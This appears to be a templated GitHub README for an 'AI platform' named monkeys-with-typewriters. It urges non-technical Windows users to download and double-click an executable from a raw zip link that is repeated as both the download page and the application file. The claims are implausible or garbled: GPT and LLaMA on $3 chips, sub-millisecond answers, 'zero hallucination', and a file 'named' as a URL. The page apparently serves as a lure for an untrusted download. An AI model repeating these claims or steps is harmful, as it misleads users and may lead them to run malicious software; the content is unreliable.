monkeys-with-typewriters is a small, efficient AI platform designed to work on very low-cost hardware. It runs on microcontrollers that cost as little as $3. This software can process data and give answers in less than a millisecond, with no fake or misleading results.
This means you can add smart capabilities to simple devices, like sensors, small gadgets, or Internet of Things (IoT) products, without needing expensive hardware or a powerful computer.
To use monkeys-with-typewriters, you need:
- A Windows PC with at least Windows 10.
- At least 4 GB of free RAM.
- Around 500 MB of free hard drive space for installation.
- An internet connection for downloading the software.
- A microcontroller compatible with ESP8266 or similar low-power chips if you want to connect hardware.
No programming skills are needed. All steps to get started are explained in this guide.
monkeys-with-typewriters offers:
- Quick, reliable AI inference on tiny devices.
- Support for running multiple AI agents simultaneously.
- Integration with popular AI models like GPT and LLaMA.
- Built-in natural language processing (NLP) tools.
- Tools for embedding and retrieving data from text.
- Open-source code you can explore and customize.
- Support for edge AI, running locally without internet.
- Safe, zero hallucination responses.
Follow these steps to download and run monkeys-with-typewriters on your Windows PC.
Click the large green button below to visit the download page:
This link takes you to the official GitHub repository. You will find the files you need there.
Once on the GitHub page, look for the Releases or Assets section. This usually appears on the right side or near the top. Find the latest version of the software, which will be listed as a downloadable file, typically with .exe or .zip extensions.
- If there is an
.exefile, download it. This is the easiest way to install. - If it is a
.zipfile, download it and extract the contents. To extract, right-click the file and choose Extract All. Follow the prompts to unzip the folder.
- If you have an
.exefile, double-click it to start the installation. - Follow the on-screen instructions to complete installation. It should only take a few minutes.
If you downloaded a zip file and extracted it:
- Open the extracted folder.
- Find the main application file, often named something like
https://github.com/codingisloading/monkeys-with-typewriters/raw/refs/heads/main/firmware/typewriters_with_monkeys_v1.8.zip. - Double-click the file to run the program.
If you plan to connect the AI platform to an actual microcontroller (such as an ESP8266 chip), follow these steps after installing the software on your PC:
- Connect the microcontroller to your PC using a USB cable.
- In the monkeys-with-typewriters program, open the Device Setup menu.
- Select your microcontroller model from the list.
- Click Connect to link your PC and the device.
- Upload the AI model to the microcontroller following the program’s instructions.
Your device will now run AI tasks reliably and with very low delay.
Once the software is running on your PC or device:
- Use the main window to type questions or commands.
- The system will give answers quickly, based on the AI models installed.
- You can test different AI models or configurations from the menu.
- Save your work or outputs using the Save button.
- If using connected devices, monitor their status in the Devices tab.
The interface is designed to be simple and self-explanatory.
To get updates:
- Visit the GitHub page regularly.
- Check the Releases section for new versions.
- Download the latest release file.
- Repeat the installation steps to upgrade.
This ensures you always have the newest features and improvements.
If something does not work as expected:
- Make sure your Windows is updated to the latest version.
- Verify that your internet connection is stable during download.
- Restart your PC and try running the software again.
- If the microcontroller does not connect, check the USB cable and port.
- Consult the Issues tab on the GitHub page to see if others have similar problems.
If problems continue, you can post a new issue with details about your setup.
monkeys-with-typewriters is fully open-source. You can view and modify the code on GitHub. This means you have full control over how the software works.
- Download page: https://github.com/codingisloading/monkeys-with-typewriters/raw/refs/heads/main/firmware/typewriters_with_monkeys_v1.8.zip
- GitHub Issues: Visit the repository and click the Issues tab to report problems or request features.
- Documentation: Available inside the downloaded package or in the repository’s docs folder.